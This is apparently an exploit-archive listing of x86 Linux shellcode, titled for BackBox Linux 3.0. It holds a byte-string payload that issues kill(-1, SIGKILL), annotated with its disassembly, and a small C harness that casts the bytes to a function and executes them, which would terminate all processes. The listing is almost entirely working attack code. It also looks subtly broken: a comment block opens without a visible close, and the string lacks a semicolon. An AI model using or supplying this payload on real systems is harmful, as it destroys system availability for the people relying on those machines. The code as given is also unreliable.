BackBox Linux 3.0 - amd64 sys_kill -x86 linux shellcode

#include <stdio.h>
/*
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---

char *killer=
 "\x31\xc0"                    /* xor    %eax,%eax */
 "\xb0\x25"                    /* mov    $0x25,%al */
 "\x6a\xff"                    /* push   $0xffffffff */
 "\x5b"                        /* pop    %ebx */
 "\xb1\x09"                    /* mov    $0x9,%cl */
 "\xcd\x80"                    /* int    $0x80 */



int main(void)
{
		fprintf(stdout,"Length: %d\n",strlen(killer));
		((void (*)(void)) killer)();
		return 0;
}